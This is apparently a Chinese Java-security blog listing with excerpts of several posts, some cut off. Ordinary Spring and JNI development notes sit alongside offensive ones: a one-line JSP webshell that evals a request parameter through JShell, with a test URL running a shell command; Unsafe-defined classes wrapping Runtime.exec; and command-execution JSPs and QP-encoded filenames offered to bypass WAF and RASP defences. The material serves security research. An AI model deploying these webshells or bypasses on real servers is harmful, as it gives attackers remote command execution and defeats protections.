2019-09-10 18:56:13

JShell(JDK9+) eval 任意Java代码片段执行

最近几年开发RASP产品期间整理了很多的Java语言的特性,不过一直都没有时间写文章,可能真的是变懒了吧~ JDK9开始提供了一个叫jshell的功能,让开发者可以想python和php一样在命令行下愉快的写测试代码了。JDK9已经发布距今(2019年9月)了2年时间了,但在生产环境下使用JDK8以上的应用依旧寥寥无几。不过我们只需要利用这一特性其实是可以实现任意代码执行了,也就是说正真意义上的原生的java一句话木马实现了。 测试代码: <%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%> 就这么简单的一行代码就可以了,src参数值是java代码片段。 测试用例:http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine() 如果强迫症想撸掉多余的输出: <%=jdk.jshell.JShell.builder().build().eval(request.getPara

2019-09-10 15:12:23

Java11之前使用sun.misc.Unsafe定义类对象

上一篇文章写了如何使用Unsafe来创建任意类对象的实例,这篇文章接着写如何使用Unsafe来定义一个类对象。 正常情况下我们可以重写ClassLoader类来实现定义任意的类,但是某些时候我们无法通过自定义ClassLoader来定义类的时候可以使用这种方式来定义一个class,但是前提条件是在JDK11之前的版本。 如果我们需要定义一个名为com.anbai.lingxe.agent.AbTest的类可以使用如下方式: com.anbai.lingxe.agent.AbTest示例代码如下: package com.anbai.lingxe.agent; import java.io.IOException; public class AbTest { public static Process exec(String cmd) throws IOException { return Runtime.getRuntime().exec(cmd); } } 测试jsp代码: <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="sun.misc.BASE64De

2019-01-31 23:43:27

Gson sun.misc.Unsafe.allocateInstance序列化Java对象

最近使用Fastjson的时候遇到一个类无空构造方法导致无法反序列化类对象,试了下Fastjson和Jackson都无法创建,而Gson确可以无视构造方法反序列化对象。 测试类:TestRequest.java public class TestRequest implements Serializable { private String method; private String queryString; private String requestURI; public TestRequest(HttpServletRequest request) { this.method = request.getMethod(); this.queryString = request.getQueryString(); this.requestURI = request.getRequestURI(); } .......省略get/set方法 } 跟了下Gson的序列化方式发现它封装了一个com.google.gson.internal.UnsafeAllocator类,见名知意,原来Gson使用sun.misc.Unsafe的allocateInstance方法来绕过了构造方法限制创建实例。熟悉Java

2019-01-31 12:48:08

2018-10-26 07:15:29

Spring MVC 5.X Debug

web.xml初始化         web.xml需要配置Spring的listener(ContextLoaderListener),ContextLoaderListener是Spring的初始化加载类,如果未在web.xml中配置“context-param”,默认会优先加载“/WEB-INF/”下加载applicationContext.xml。     SpringMVC实现方式是Servlet,通过在web.xml配置DispatcherServlet,所有的请求都会先经过Spring处理。     Spring MVC是一个架构上非常复杂的框架,经过抽象后的DispatcherServlet就会显得比较复杂了。但是从根本上来说DispatcherServlet就是一个普通的Servlet,所以它处理Http请求的方式就必然是重写Servlet的doXXX或service方法。      从类图可以看到,FrameworkServlet类是DispatcherServlet第一个父类,这个类也是重写了所有的Http请求方法(七种Http请求方式),以及Servlet提供的service方法:     在Servlet中,所有的请求方法都会先经过service方法,然后才会进入具体的doXXXX方法。 不过Spring MVC中并没有直接在service方法中处理请求的

2018-10-17 08:48:45

修改Spring Data Elasticsearch 对象序列化方式

Spring Data Elasticsearch默认采用了Jackson作为对象序列化方式,但是为了保持Json序列化一致性就不得不修改Spring Data Elasticsearch的序列化结果了,这里讲下如何使用的是Fastjson来序列化Spring Data Elasticsearch查询出来的数据。 Spring Data Elasticsearch中,默认会调用org.springframework.data.elasticsearch.core.DefaultResultMapper来映射ElasticSearch返回的结果,而最终序列化方法在DefaultResultMapper的父类org.springframework.data.elasticsearch.core.AbstractResultMapper的publicT mapEntity(String source, Classclazz)方法,所以只需要想办法重写mapEntity方法就行了。 在Spring Boot项目中定义下自定义的ElasticsearchTemplate就可以实现自定义ResultMapper了: @Bean("elasticsearchTemplate") public ElasticsearchTemplate elasticsearchTempla

2018-08-03 09:47:51

Spring MVC MultipartResolver特性-QP编码

今天看Spring的Multipart处理发现一段比较奇怪的代码: 奇怪的是Spring为什么会对“=?”、“?=”进行特殊处理?跟进后发现这玩意是QP编码,用来解决邮件内附件编码问题。Spring调用了java mail的api对文件上传的附件文件名称进行了QP编码。 既然已知Spring的这个特性,那么某些时候或许就可以通过对文件名称进行编码来绕过传统的waf、cdn的防御了。 利用Java mail库生成特殊的文件名: 上传进行编码后的文件: Spring会做decode解析:

2018-06-14 07:24:21

Spring Boot 2.x JPA 不能够添加自定义Repository

升级Spring Boot版本后出现了大量的问题,升级到新版的Spring data JPA 会报错: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sysPostAPI': Injection of resource dependencies failed; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sysPostServiceImpl': Injection of resource dependencies failed; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sysPostRepositoryImpl': Injection of resource dependencies failed; nested exception is org.spr

2018-05-23 08:09:31

Mac IDEA+CLION jni Hello World

新建一个空的javaweb-jni项目,并在IDEA添加拓展工具: 添加拓展工具: Program: $JDKPath$/bin/javah Arguments: -jni -classpath $OutputPath$ -d ./jni/ $FileClass$ Working directory: $ProjectFileDir$  新建org.javaweb.jni.Test.java: package org.javaweb.jni; public class Test { static { System.loadLibrary("test"); } private static native String exec(String cmd); public static void main(String[] args) { System.out.println(exec("123")); } } 生成JNI头文件测试: 成功生成的头文件会存放在当前项目根目录下创建jni目录: Clion新建C项目: 复制jni.h和jni_md.h到Clion项目目录(jdk1.8.0_144.jdk换成本地的JDK版本): cd /Library/J

2018-05-08 07:57:18

一个绕Runtime、ProcessBuilder的linux-cmd.jsp

最近有人问怎么绕过ProcessBuilder的exec方法,所以就写了一个可以绕大部分WAF或者说RASP的jsp。原理很简单:直接反射java.lang.UNIXProcess类。 请求:http://localhost:8080/linux-cmd.jsp?str=ls -la Windows版懒得写,会的朋友自己动手稍微改下就可以了。 下载地址:linux-cmd.jsp.zip 再发一个纯Java反射ProcessBuilder类的cmd.jspx,下载地址:cmd.jspx